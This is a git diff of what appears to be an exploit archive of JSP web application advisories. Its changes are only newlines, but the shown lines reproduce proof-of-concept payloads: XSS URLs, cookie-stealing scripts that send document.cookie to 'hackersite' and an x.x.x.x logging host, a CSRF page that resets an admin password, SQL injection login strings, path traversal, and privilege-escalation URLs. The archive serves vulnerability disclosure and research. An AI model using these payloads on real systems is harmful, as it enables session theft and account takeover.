--- a/platforms/jsp/webapps/24139.txt +++ b/platforms/jsp/webapps/24139.txt @@ -5,4 +5,4 @@ It has been reported that Liferay Enterprise Portal is susceptible to multiple c Test: Add a message with subject <script>history.go(-1)</script> -Now, no user can see message board. \ No newline at end of file +Now, no user can see message board. \ No newline at end of file diff --git a/platforms/jsp/webapps/25159.txt b/platforms/jsp/webapps/25159.txt index 39390a38e..c2c6f6096 100755 --- a/platforms/jsp/webapps/25159.txt +++ b/platforms/jsp/webapps/25159.txt @@ -14,4 +14,4 @@ To access a restricted console resource: http://www.example.com/usermode/consoleConnect.jsp?consolename=console_name To gain escalated privileges: -http://www.example.com/application/saveUser.do?userId=9&password=&userName=my_id&fullName=My+name&department=Security&location=Work&phone=555-1212&mobile=&pager=&email=test%40example.com&status=Enable&localPassword=true&adminUser=true&forward=&action=Save \ No newline at end of file +http://www.example.com/application/saveUser.do?userId=9&password=&userName=my_id&fullName=My+name&department=Security&location=Work&phone=555-1212&mobile=&pager=&email=test%40example.com&status=Enable&localPassword=true&adminUser=true&forward=&action=Save \ No newline at end of file diff --git a/platforms/jsp/webapps/25269.txt b/platforms/jsp/webapps/25269.txt index 37c46d9eb..3346c6158 100755 --- a/platforms/jsp/webapps/25269.txt +++ b/platforms/jsp/webapps/25269.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code executed in http://paolo/reports/examples/Tools/test.jsp?repprod&desname='&lt;script&gt;alert(document.cookie);&lt;/script&gt; -http://paolo/reports/examples/Tools/test.jsp?repprod"&lt;script&gt;alert(document.cookie);&lt;/script&gt; \ No newline at end of file +http://paolo/reports/examples/Tools/test.jsp?repprod"&lt;script&gt;alert(document.cookie);&lt;/script&gt; \ No newline at end of file diff --git a/platforms/jsp/webapps/25628.txt b/platforms/jsp/webapps/25628.txt index 64d643157..5fea1e82a 100755 --- a/platforms/jsp/webapps/25628.txt +++ b/platforms/jsp/webapps/25628.txt @@ -10,4 +10,4 @@ The bbcode [url] tag is not properly sanitized of user-supplied input. This coul ;window.close();]Create registry entry: HKCU\QQQQQ\qq = "CouCou"[/url] [url=javascript://%0Awindow.opener.document.body.innerHTML=window.opener.document.body.innerHTML.replace(%27Hi%20Paul%27 -,%27Hi%20P.A.U.L%27);window.close();]Modify opener page: Paul -> P.A.U.L[/url] \ No newline at end of file +,%27Hi%20P.A.U.L%27);window.close();]Modify opener page: Paul -> P.A.U.L[/url] \ No newline at end of file diff --git a/platforms/jsp/webapps/25685.txt b/platforms/jsp/webapps/25685.txt index fc90b51c6..e5f73d435 100755 --- a/platforms/jsp/webapps/25685.txt +++ b/platforms/jsp/webapps/25685.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/13683/info The MimeMessage method in the Sun JavaMail API does not perform sufficient validation on message number values that are passed to the method during requests. An attacker that can successfully authenticate to an email server implementation that is written using the Sun JavaMail API, may exploit this issue to make requests for arbitrary email messages that are stored on the server. http://www.example.com/ReadMessage.jsp?msgno=10001 -http://www.example.com/ReadMessage.jsp?msgno=10002 \ No newline at end of file +http://www.example.com/ReadMessage.jsp?msgno=10002 \ No newline at end of file diff --git a/platforms/jsp/webapps/25738.txt b/platforms/jsp/webapps/25738.txt index 1964c7795..4c4463468 100755 --- a/platforms/jsp/webapps/25738.txt +++ b/platforms/jsp/webapps/25738.txt @@ -10,4 +10,4 @@ http://www.example.com:7001/console/login/LoginForm.jsp?j_password=""onBlur="win http://www.example.com:7001/console/login/LoginForm.jsp?j_username=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)" -http://www.example.com:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)" \ No newline at end of file +http://www.example.com:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)" \ No newline at end of file diff --git a/platforms/jsp/webapps/25739.txt b/platforms/jsp/webapps/25739.txt index 8faece2dc..8d1ada14d 100755 --- a/platforms/jsp/webapps/25739.txt +++ b/platforms/jsp/webapps/25739.txt @@ -6,4 +6,4 @@ A successful attack may facilitate the theft of cookie-based authentication cred This issue was originally released as part of BID 13717 (BEA WebLogic Server and WebLogic Express Multiple Remote Vulnerabilities). Due to the availability of more information, this vulnerability is being assigned a new BID. -http://www.example.com:7001/console/a?=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com:7001/console/a?=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/jsp/webapps/25946.txt b/platforms/jsp/webapps/25946.txt index 1bc8fccfc..56d2d7322 100755 --- a/platforms/jsp/webapps/25946.txt +++ b/platforms/jsp/webapps/25946.txt @@ -13,4 +13,4 @@ https://www.example.com/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=fa Example URIs for the authentication bypass vulnerabilities: https://www.example.com:443/intruvert/jsp/reports/reports-column-center.jsp?monitoredDomain=%2FDemo&selectedDomain=0&fullAccessRight=true -https://www.example.com/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=true&faultResourceName=Manager&domainName=%2FDemo%3A0&resourceName=%Demo%3A0%2FManager&resourceType=Manager&topMenuName=SystemHealthManager&secondMenuName=Faults&resourceId=-1&thirdMenuName=Critical&severity=critical&count=1 \ No newline at end of file +https://www.example.com/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=true&faultResourceName=Manager&domainName=%2FDemo%3A0&resourceName=%Demo%3A0%2FManager&resourceType=Manager&topMenuName=SystemHealthManager&secondMenuName=Faults&resourceId=-1&thirdMenuName=Critical&severity=critical&count=1 \ No newline at end of file diff --git a/platforms/jsp/webapps/26532.txt b/platforms/jsp/webapps/26532.txt index 04c9144ef..e837b1b0a 100755 --- a/platforms/jsp/webapps/26532.txt +++ b/platforms/jsp/webapps/26532.txt @@ -8,4 +8,4 @@ Other scripts may also be vulnerable. http://www.example.com/revize/debug/query_results.jsp?webspace=REVIZE&query=select%20*%20from%20pbpublic.rSubjects -http://www.example.com/revize/debug/query_results.jsp?query=select%20*%20from%20pbpublic.rSubjects \ No newline at end of file +http://www.example.com/revize/debug/query_results.jsp?query=select%20*%20from%20pbpublic.rSubjects \ No newline at end of file diff --git a/platforms/jsp/webapps/26533.txt b/platforms/jsp/webapps/26533.txt index bdfae0ed3..ec753cb35 100755 --- a/platforms/jsp/webapps/26533.txt +++ b/platforms/jsp/webapps/26533.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to retrieve sensitive information. In A sample URI has been provided: -http://www.example.com/revize/conf/revise.xml \ No newline at end of file +http://www.example.com/revize/conf/revise.xml \ No newline at end of file diff --git a/platforms/jsp/webapps/26700.txt b/platforms/jsp/webapps/26700.txt index e19c6f30f..3bd581361 100755 --- a/platforms/jsp/webapps/26700.txt +++ b/platforms/jsp/webapps/26700.txt @@ -4,4 +4,4 @@ Java Search Engine is prone to a cross-site scripting vulnerability. This issue An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/search.jsp?oe=english&q=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&qor= \ No newline at end of file +http://www.example.com/search.jsp?oe=english&q=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&qor= \ No newline at end of file diff --git a/platforms/jsp/webapps/26778.txt b/platforms/jsp/webapps/26778.txt index c57b0a90f..9eb171db8 100755 --- a/platforms/jsp/webapps/26778.txt +++ b/platforms/jsp/webapps/26778.txt @@ -6,4 +6,4 @@ Successful exploitation may result in various attacks, such as information discl Blackboard Academic Suite version 6.0 is reportedly affected by this issue. -http://www.example.com/webapps/portal/frameset.jsp?tab_id=[tabid]&url=[url] \ No newline at end of file +http://www.example.com/webapps/portal/frameset.jsp?tab_id=[tabid]&url=[url] \ No newline at end of file diff --git a/platforms/jsp/webapps/26924.txt b/platforms/jsp/webapps/26924.txt index a293e9ac2..cc57225b2 100755 --- a/platforms/jsp/webapps/26924.txt +++ b/platforms/jsp/webapps/26924.txt @@ -5,4 +5,4 @@ OpenEdit is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. /store/search/results.html?query=&department=&oe-action=[XSS] -/store/search/results.html?page=[XSS] \ No newline at end of file +/store/search/results.html?page=[XSS] \ No newline at end of file diff --git a/platforms/jsp/webapps/26972.txt b/platforms/jsp/webapps/26972.txt index 443250a4d..d5c19c1b1 100755 --- a/platforms/jsp/webapps/26972.txt +++ b/platforms/jsp/webapps/26972.txt @@ -19,4 +19,4 @@ RowKeyValue=<script>alert(document.cookie)</script> Source code disclosure: http://www.example.com/portal/page?_pageid=XXX,XXX&_dad=portal&_schema=PORTAL& -df_next_page=htdocs/search.jsp%00 \ No newline at end of file +df_next_page=htdocs/search.jsp%00 \ No newline at end of file diff --git a/platforms/jsp/webapps/30189.txt b/platforms/jsp/webapps/30189.txt index ddc400f3c..27762e9fe 100755 --- a/platforms/jsp/webapps/30189.txt +++ b/platforms/jsp/webapps/30189.txt @@ -4,4 +4,4 @@ Apache Tomcat is prone to a cross-site scripting vulnerability because it fails Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -http:/;www.example.com/jsp-examples/snp/snoop.jsp;[xss] \ No newline at end of file +http:/;www.example.com/jsp-examples/snp/snoop.jsp;[xss] \ No newline at end of file diff --git a/platforms/jsp/webapps/30191.txt b/platforms/jsp/webapps/30191.txt index bcd0a33f9..81d04999a 100755 --- a/platforms/jsp/webapps/30191.txt +++ b/platforms/jsp/webapps/30191.txt @@ -4,4 +4,4 @@ Apache Tomahawk MyFaces JSF Framework is prone to a cross-site scripting vulnera Exploiting this vulnerability may allow an attacker to launch cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -http:/;www.example.com/some_app.jsf?autoscroll=[javascript] \ No newline at end of file +http:/;www.example.com/some_app.jsf?autoscroll=[javascript] \ No newline at end of file diff --git a/platforms/jsp/webapps/30266.txt b/platforms/jsp/webapps/30266.txt index 54b2f7fff..af51f7229 100755 --- a/platforms/jsp/webapps/30266.txt +++ b/platforms/jsp/webapps/30266.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br This issue affects NetFlow Analyzer 5; other versions may also be affected. -http://www.example.com/netflow/jspui/applicationList.jsp?alph a=A%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68 %72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E %62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F %6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C %2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70 %3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D %65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E %3C%2F%62%6F%64%79%3E \ No newline at end of file +http://www.example.com/netflow/jspui/applicationList.jsp?alph a=A%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68 %72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E %62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F %6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C %2F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70 %3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D %65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E %3C%2F%62%6F%64%79%3E \ No newline at end of file diff --git a/platforms/jsp/webapps/30269.txt b/platforms/jsp/webapps/30269.txt index 4835829de..ef5fb39e2 100755 --- a/platforms/jsp/webapps/30269.txt +++ b/platforms/jsp/webapps/30269.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br This issue affects NetFlow Analyzer 5; other versions may also be affected. - http://www.example.com/netflow/jspui/selectDevice.jsp?rtype=g lobal%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%6 8%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E %62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F% 6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2 F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70%3E %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65% 6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2 F%62%6F%64%79%3E \ No newline at end of file + http://www.example.com/netflow/jspui/selectDevice.jsp?rtype=g lobal%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%6 8%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E %62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F% 6E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2 F%62%72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70%3E %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65% 6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2 F%62%6F%64%79%3E \ No newline at end of file diff --git a/platforms/jsp/webapps/30270.txt b/platforms/jsp/webapps/30270.txt index d4b2b4291..b1279fb45 100755 --- a/platforms/jsp/webapps/30270.txt +++ b/platforms/jsp/webapps/30270.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br This issue affects NetFlow Analyzer 5; other versions may also be affected. -http://www.example.com/netflow/jspui/customReport.jsp?rtype=gl obal%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68% 72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E%62 %6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%6E%2 0%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62% 72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70%3E%3C%73 %63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2 E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2F%62%6F% 64%79%3E&period=hourly&customOption=true&firstTime=true \ No newline at end of file +http://www.example.com/netflow/jspui/customReport.jsp?rtype=gl obal%22%3E%3C%62%6F%64%79%3E%3C%68%31%3E%3C%70%3E%3C%61%20%68% 72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E%62 %6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%6E%2 0%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%2F%62% 72%3E%58%53%53%20%50%6F%57%40%20%21%21%21%21%3C%2F%70%3E%3C%73 %63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2 E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C%2F%62%6F% 64%79%3E&period=hourly&customOption=true&firstTime=true \ No newline at end of file diff --git a/platforms/jsp/webapps/30563.txt b/platforms/jsp/webapps/30563.txt index 07caa8367..a30842df5 100755 --- a/platforms/jsp/webapps/30563.txt +++ b/platforms/jsp/webapps/30563.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Apache Tomcat 4.1.31; other versions may also be affected. -http://www.example.com/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3ealert("XSS!")%3c%2fscript%3e \ No newline at end of file +http://www.example.com/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3ealert("XSS!")%3c%2fscript%3e \ No newline at end of file diff --git a/platforms/jsp/webapps/30613.txt b/platforms/jsp/webapps/30613.txt index c5fb044b2..ff98be8d1 100755 --- a/platforms/jsp/webapps/30613.txt +++ b/platforms/jsp/webapps/30613.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code will run in the context of the affected s Versions prior to JSPWiki 2.5.138-beta are vulnerable. -http://www.example.com/wiki/Diff.jsp?page=Administrator&r1=[XSS]&r2=[XSS] \ No newline at end of file +http://www.example.com/wiki/Diff.jsp?page=Administrator&r1=[XSS]&r2=[XSS] \ No newline at end of file diff --git a/platforms/jsp/webapps/30675.txt b/platforms/jsp/webapps/30675.txt index 447e4bf03..d280431f0 100755 --- a/platforms/jsp/webapps/30675.txt +++ b/platforms/jsp/webapps/30675.txt @@ -4,4 +4,4 @@ InnovaShop is prone to multiple cross-site scripting vulnerabilities because the An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/path/tc/contents/home001.jsp?contentid=[XSS] \ No newline at end of file +http://www.example.com/path/tc/contents/home001.jsp?contentid=[XSS] \ No newline at end of file diff --git a/platforms/jsp/webapps/30705.txt b/platforms/jsp/webapps/30705.txt index 60ae83e31..122468821 100755 --- a/platforms/jsp/webapps/30705.txt +++ b/platforms/jsp/webapps/30705.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/26182/info GHBoard is prone to multiple vulnerabilities that let attackers upload and download arbitrary files and execute arbitrary code within the context of the webserver process. -http://www.example.com/ghboard/component/flashupload/data/upload_filename.xxx \ No newline at end of file +http://www.example.com/ghboard/component/flashupload/data/upload_filename.xxx \ No newline at end of file diff --git a/platforms/jsp/webapps/31299.txt b/platforms/jsp/webapps/31299.txt index db5730c0d..8d4780a2f 100755 --- a/platforms/jsp/webapps/31299.txt +++ b/platforms/jsp/webapps/31299.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow OpenCms 7.0.3 is vulnerable; other versions may also be affected. -http://www.example.com/opencms/opencms/system/workplace/views/explorer/tree_files.jsp?resource=+*/+alert(document.cookie);+/*+/ \ No newline at end of file +http://www.example.com/opencms/opencms/system/workplace/views/explorer/tree_files.jsp?resource=+*/+alert(document.cookie);+/*+/ \ No newline at end of file diff --git a/platforms/jsp/webapps/31475.txt b/platforms/jsp/webapps/31475.txt index 3d3e88cf4..b120df21b 100755 --- a/platforms/jsp/webapps/31475.txt +++ b/platforms/jsp/webapps/31475.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br OpenCms 7.0.3 is vulnerable; other versions may also be affected. -http://www.example.com/opencms/system/workplace/admin/accounts/users_list.jsp?ispopup=&action=listsearch&framename=&title=&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Faction%253Dinitial%2526path%253D%252Faccounts%252Forgunit&preactiondone=&dialogtype=&message=&resource=&listaction=&base=&selitems=&formname=lsu-form&sortcol=&oufqn=&originalparams=&page=&style=new&root=&path=%252Faccounts%252Forgunit%252Fusers&redirect=&searchfilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie%29%3E%3Cscript%3E&listSearchFilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie%29%3E%3Cscript%3E \ No newline at end of file +http://www.example.com/opencms/system/workplace/admin/accounts/users_list.jsp?ispopup=&action=listsearch&framename=&title=&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Faction%253Dinitial%2526path%253D%252Faccounts%252Forgunit&preactiondone=&dialogtype=&message=&resource=&listaction=&base=&selitems=&formname=lsu-form&sortcol=&oufqn=&originalparams=&page=&style=new&root=&path=%252Faccounts%252Forgunit%252Fusers&redirect=&searchfilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie%29%3E%3Cscript%3E&listSearchFilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie%29%3E%3Cscript%3E \ No newline at end of file diff --git a/platforms/jsp/webapps/32046.txt b/platforms/jsp/webapps/32046.txt index 5ddbdd5cc..c9197aafc 100755 --- a/platforms/jsp/webapps/32046.txt +++ b/platforms/jsp/webapps/32046.txt @@ -14,4 +14,4 @@ Accept-Encoding: <script>alert('XSS');</script> User-Agent: <script>alert('XSS');</script> Host: maximo Connection: Keep-Alive -Cookie: <script>alert('XSS');</script> \ No newline at end of file +Cookie: <script>alert('XSS');</script> \ No newline at end of file diff --git a/platforms/jsp/webapps/32249.txt b/platforms/jsp/webapps/32249.txt index 8e8d6c268..afecbed1e 100755 --- a/platforms/jsp/webapps/32249.txt +++ b/platforms/jsp/webapps/32249.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Openfire 3.5.2 is vulnerable; prior versions are also affected. -http://www.example.com/login.jsp?url=%22%3E%3Cscript%20type=%22text/javascript%22%3Ealert(%22hi%22)%3C/script%3E \ No newline at end of file +http://www.example.com/login.jsp?url=%22%3E%3Cscript%20type=%22text/javascript%22%3Ealert(%22hi%22)%3C/script%3E \ No newline at end of file diff --git a/platforms/jsp/webapps/32423.txt b/platforms/jsp/webapps/32423.txt index 764f79474..1fd21e44e 100755 --- a/platforms/jsp/webapps/32423.txt +++ b/platforms/jsp/webapps/32423.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Versions prior to OpenNMS 1.5.94 are vulnerable. -http://www.example.com/opennms/j_acegi_security_check?j_username=test'><script>alert('hi');</script>&j_password=test \ No newline at end of file +http://www.example.com/opennms/j_acegi_security_check?j_username=test'><script>alert('hi');</script>&j_password=test \ No newline at end of file diff --git a/platforms/jsp/webapps/32425.txt b/platforms/jsp/webapps/32425.txt index b726f0cf0..23dd1ec9a 100755 --- a/platforms/jsp/webapps/32425.txt +++ b/platforms/jsp/webapps/32425.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Versions prior to OpenNMS 1.5.94 are vulnerable. -http://www.example.com/opennms/event/list?sortby=id&limit=10&filter=msgsub%3D%3Cscript%3Ealert%28%27hi%27%29%3B%3C%2Fscript%3E&filter=iplike%3D*.*.*.* \ No newline at end of file +http://www.example.com/opennms/event/list?sortby=id&limit=10&filter=msgsub%3D%3Cscript%3Ealert%28%27hi%27%29%3B%3C%2Fscript%3E&filter=iplike%3D*.*.*.* \ No newline at end of file diff --git a/platforms/jsp/webapps/32579.html b/platforms/jsp/webapps/32579.html index 0fe962540..67b5af7a1 100755 --- a/platforms/jsp/webapps/32579.html +++ b/platforms/jsp/webapps/32579.html @@ -15,4 +15,4 @@ Sun Java System Identity Manager 6.0 SP4 Sun Java System Identity Manager 7.0 Sun Java System Identity Manager 7.1 -<html> <h1>CSRF attack demo - changes administrative password to 'Password19'</h1> <script> var img = new Image(); img.src = 'https://target.tld/idm/admin/changeself.jsp?id=&command=Save&activeControl=&resourceAccounts.password=Password19&resourceAccounts.confirmPassword=Passwo rd19&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true'; </script> </html> \ No newline at end of file +<html> <h1>CSRF attack demo - changes administrative password to 'Password19'</h1> <script> var img = new Image(); img.src = 'https://target.tld/idm/admin/changeself.jsp?id=&command=Save&activeControl=&resourceAccounts.password=Password19&resourceAccounts.confirmPassword=Passwo rd19&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true'; </script> </html> \ No newline at end of file diff --git a/platforms/jsp/webapps/32655.txt b/platforms/jsp/webapps/32655.txt index 196541c5e..9deac2163 100755 --- a/platforms/jsp/webapps/32655.txt +++ b/platforms/jsp/webapps/32655.txt @@ -12,4 +12,4 @@ Affiliate Software The following example data is available: username: r0' or ' 1=1-- -password: r0' or ' 1=1-- \ No newline at end of file +password: r0' or ' 1=1-- \ No newline at end of file diff --git a/platforms/jsp/webapps/32677.txt b/platforms/jsp/webapps/32677.txt index dbeb5237a..ff38057a7 100755 --- a/platforms/jsp/webapps/32677.txt +++ b/platforms/jsp/webapps/32677.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Openfire 3.6.2 is vulnerable; prior versions may also be affected. -http://www.example.com/group-summary.jsp?search=%22%3E%3C[xss] \ No newline at end of file +http://www.example.com/group-summary.jsp?search=%22%3E%3C[xss] \ No newline at end of file diff --git a/platforms/jsp/webapps/32678.txt b/platforms/jsp/webapps/32678.txt index 784c57611..c99c4f345 100755 --- a/platforms/jsp/webapps/32678.txt +++ b/platforms/jsp/webapps/32678.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Openfire 3.6.2 is vulnerable; prior versions may also be affected. -http://www.example.com/user-properties.jsp?username=%3C[xss] \ No newline at end of file +http://www.example.com/user-properties.jsp?username=%3C[xss] \ No newline at end of file diff --git a/platforms/jsp/webapps/32679.txt b/platforms/jsp/webapps/32679.txt index 0e2bd8392..b44e43a6d 100755 --- a/platforms/jsp/webapps/32679.txt +++ b/platforms/jsp/webapps/32679.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Openfire 3.6.2 is vulnerable; prior versions may also be affected. -http://www.example.com/log.jsp?log=%3Cimg%20src=%27%27%20onerror=%27[xss] \ No newline at end of file +http://www.example.com/log.jsp?log=%3Cimg%20src=%27%27%20onerror=%27[xss] \ No newline at end of file diff --git a/platforms/jsp/webapps/32680.txt b/platforms/jsp/webapps/32680.txt index 19a474f29..c01219c1e 100755 --- a/platforms/jsp/webapps/32680.txt +++ b/platforms/jsp/webapps/32680.txt @@ -6,4 +6,4 @@ Exploiting the issue may allow an attacker to obtain sensitive information that Openfire 3.6.2 is vulnerable; prior versions may also be affected. -http://www.example.com/log.jsp?log=..\..\..\windows\debug\netsetup \ No newline at end of file +http://www.example.com/log.jsp?log=..\..\..\windows\debug\netsetup \ No newline at end of file diff --git a/platforms/jsp/webapps/32742.txt b/platforms/jsp/webapps/32742.txt index 9f71f65bd..ecc3d3911 100755 --- a/platforms/jsp/webapps/32742.txt +++ b/platforms/jsp/webapps/32742.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Versions prior to Apache Jackrabbit 1.5.2 are vulnerable. -http://www.example.com/swr.jsp?q=%25"<script>alert(1)</script>&swrnum=1 \ No newline at end of file +http://www.example.com/swr.jsp?q=%25"<script>alert(1)</script>&swrnum=1 \ No newline at end of file diff --git a/platforms/jsp/webapps/33293.txt b/platforms/jsp/webapps/33293.txt index 515671d98..e716a8d10 100755 --- a/platforms/jsp/webapps/33293.txt +++ b/platforms/jsp/webapps/33293.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect IBM Rational RequisitePro 7.10; other versions may also be affected. -http://www.example.com/ReqWebHelp/basic/searchView.jsp?searchWord=>''><script>alert(306531)</script>&maxHits=>''><script>alert(306531)</script>&scopedSearch=>''><script>alert(306531)</script>&scope=>''><script>alert(306531)</script> \ No newline at end of file +http://www.example.com/ReqWebHelp/basic/searchView.jsp?searchWord=>''><script>alert(306531)</script>&maxHits=>''><script>alert(306531)</script>&scopedSearch=>''><script>alert(306531)</script>&scope=>''><script>alert(306531)</script> \ No newline at end of file diff --git a/platforms/jsp/webapps/33347.txt b/platforms/jsp/webapps/33347.txt index 091fa3c53..de4964d26 100755 --- a/platforms/jsp/webapps/33347.txt +++ b/platforms/jsp/webapps/33347.txt @@ -8,4 +8,4 @@ This issue affects McAfee Network Security Manager 5.1.7.7; other versions may a https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb1 -4%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57 \ No newline at end of file +4%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57 \ No newline at end of file diff --git a/platforms/jsp/webapps/33596.txt b/platforms/jsp/webapps/33596.txt index e5385955a..0d32efcd5 100755 --- a/platforms/jsp/webapps/33596.txt +++ b/platforms/jsp/webapps/33596.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br KnowGate hipergate 4.0.12 is vulnerable; other versions may also be affected. http://www.example.com:8080/hipergate/common/errmsg.jsp?title=%3Cscript%3Ealert%28%22titleXSS%22%29; -%3C/script%3E&desc=%3Cscript%3Ealert%28%22descXSS%22%29;%3C/script%3E&resume=_back \ No newline at end of file +%3C/script%3E&desc=%3Cscript%3Ealert%28%22descXSS%22%29;%3C/script%3E&resume=_back \ No newline at end of file diff --git a/platforms/jsp/webapps/33779.txt b/platforms/jsp/webapps/33779.txt index 301f58208..b2925ba10 100755 --- a/platforms/jsp/webapps/33779.txt +++ b/platforms/jsp/webapps/33779.txt @@ -4,4 +4,4 @@ agXchange ESM is prone to an open-redirection vulnerability because the applicat A successful exploit may aid in phishing attacks; other attacks are possible. 